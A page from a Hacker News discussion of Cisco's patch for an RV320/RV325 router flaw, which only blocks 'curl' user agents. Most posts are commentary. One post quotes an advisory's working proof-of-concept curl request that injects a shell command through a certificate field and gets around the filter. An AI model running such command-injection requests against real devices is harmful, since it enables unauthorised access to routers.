Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

twitter.com

Post reply on HN
Print view View original

311–320 of 322 posts

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#311

Post by StavrosK »

webninja wrote: post #308
stavros wrote: post #3

I don't see what the fuss is about. This is an effective mitigation, given that software can't just arbitrarily lie about its user agent.

Actually you can use -A to change the user agent in Curl itself. For example: curl -A "YourNewUserAgentString” http://url.com Furthermore, there are free plugins or add-ons for both Chrome and Firefox that let you change the user agent and say you’re using IE, a mobile browser, a google bot, or anything you want the user agent string to say. Most programmers should be able to write a small script using Python’s urlli…

> Edit: Maybe your comment was sarcasm :)

I still appreciate you putting in the effort to explain. Have an upvote!

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#312

Post by amalcon »

mikevp wrote: post #309
amalcon wrote: post #114

Earlier quoted context omitted.

In this specific case (I have never encountered a proposal quite this bad), the correct answer is probably "Give me the proof of concept code and about ten minutes, and I'll give you a version that works despite the patch." You're right about that. "No" is likely to bog down the discussion with "but Bob says it will work", and it's better to skip to the end. I'm envisioning more of a middle-ground case, where the cod…

Ten minutes? How long does it take to type a user agent string into the curl command line? In my case, a user agent string pretending to be Firefox is already part of my .curlrc, so it's no time at all, just grab the PoC code and fire away. (I've got commented out user-agent lines for a bunch of other browsers that I can uncomment as the need or mood strikes me.)

I'm basically assuming five minutes to read the script, negligible time to change it, and another five to make sure it worked.

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#313

Post by Drdrdrq »

user5994461 wrote: post #292
Drdrdrq wrote: post #291

Earlier quoted context omitted.

Juniper? Extreme? The list is not very long, but doesn't contain just Cisco.

Last I checked, long ago, they were impossible to procure in France. Pretty sure Extreme is still non-existent in Europe as of today. For all the flaws of Cisco, well the only flaw is the price, they can deliver in any language anywhere in the world.

Juniper has offices and partners all over EU, for example in Paris [0]. Similar to Extreme [1].

I don't know what problems you encountered in France, but I can assure you both of them are very well represented across the whole EU, even less developed parts of it.

The reason managers pick Cisco is mostly that "nobody gets fired for picking Cisco" imho.

[0] https://www.juniper.net/us/en/contact-us/sales-offices/paris...

[1] https://fr.extremenetworks.com/

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#314

Post by runeks »

The updated PoC command from the exploit page[1]:

    $ curl -s -k -A kurl -X POST -b "$COOKIE" \
    --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
    "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
    "&organization=A&organization_unit=A&email=ab%40example.com"\
    "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
    "SelectSubject_s=1" \
    --data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
    "https://192.168.1.1/certificate_handle2.htm?type=4"
Quick, Cisco! Also add “kurl” to the list of banned user agents.

[1] https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-0...

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#315

Post by shhehebehdh »

woodrowbarlow wrote: post #238
shhehebehdh wrote: post #100

Earlier quoted context omitted.

Does it really provide that much entropy? Maybe back in the days when browsers didn’t auto-update, but intuitively it should only provide about four bits at most (os: Android iOS macOS windows, browser: chrome safari edge ie ff) except for a few rare users who don’t stay up to date or choose a weird browser (and those folks probably are a little confused about how privacy works).

ohhhhh you betcha. https://amiunique.org/ i ran this on my work laptop (windows 10 / firefox - mostly default settings). the "details" tab shows a full breakdown of each fingerprinting component with a "similarity ratio" (percentage of fingerprints that share the same value). every entry is 20% or greater, most of them around 50% except for timezone (4%), canvas (1%), and user agent (0.12%). so, yeah, user agents are…

I suspect this is just stale data. I can’t think why the most recent version of a browser would put me at one in a thousand.

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#316

Post by joenot443 »

FearNotDaniel wrote: post #189
pjmlp wrote: post #185

Earlier quoted context omitted.

Thankfully there are countries where Engineer is still a proper word, not something that you are allowed to call yourself after a 6 month bootcamp.

Yup, in the UK it bugs me when I keep meeting people who introduce themselves as an 'engineer'. When I ask them if they do mechanical or civil engineering, then I usually get to say "ah, so you're a programmer, just like me". One thing I did sometimes like about being in Austria is the obsession with academic titles they have there... if somebody is a qualified engineer, they invariably use "Ing" as a title in place…

It bothers me to no end when I hear programmers here in Ontario call themselves engineers when they neither graduated from an engineering program nor completed their PEO exam. It's very much illegal, and the PEO _will_ go after companies that allow their employees to title themselves as engineers.

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#317

Post by kelnos »

anyfoo wrote: post #267
kelnos wrote: post #162

Earlier quoted context omitted.

You must live in a very nice, ideal world, where simply saying "no, that's not the right way to do it" will convince managers to ignore the pressures placed on them to, at times, value speed over correctness.

Apparently I do? Not sure what you want to hear here, but management does listen to me and my engineering peers. Sometimes things are a bit gray and fuzzy, but in this case here where they definitely are not, I am absolutely certain that there would be no overriding of our arguments.

That's awesome, actually. For me, it's not as bad as Cisco seems, but there are definitely times I get overruled and have to take shortcuts that I'm not always comfortable taking.

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#318

Post by nkrisc »

mappu wrote: post #116
tbodt wrote: post #103

Earlier quoted context omitted.

Edg?

I assume real live websites are detecting "Edge/" and applying workarounds for the old rendering engine.

Like the maybe-not-actually-true reason why "Windows 9" was skipped and we got 10 instead?

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#319

Post by taormina »

Tepix wrote: post #173

This "fix" seriously hurts Cisco's credibility. How can you trust their products? Perhaps they are thinking that noone gives a damn anyway after no less than five backdoors² were found in their products in 2018 alone? Just incredible. ² https://www.tomshardware.com/news/cisco-backdoor-hardcoded-a...

Do people trust their products?

Re: Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent

#320

Post by CM30 »

0xcde4c3db wrote: post #53
danso wrote: post #8

Of all the security post-mortems I’ve ever wanted to read, it’s sad I’ll probably never get to read this one and its tale of how a team of well-paid comfortable engineers got together and decided this patch was a good idea.

Having been involved in meetings where "stop ship" was the phrase of the day, I'd bet money that the following at least vaguely resembles a real conversation: Engineer Alice: We should really fix this properly. Manager: How sure are you that the proper fix won't break something else for $BIG_CUSTOMERS who are responsible for $OBSCENE percent of this product line's revenue? Engineer Bob: Uh, ten percent on a good day?…

Then someone realises one of their enterprise clients is using curl for a critical system, and said patch has completely broken it. Or more likely, they realise after customer/company calls complaining about how their systems are now busted...
Post reply on HN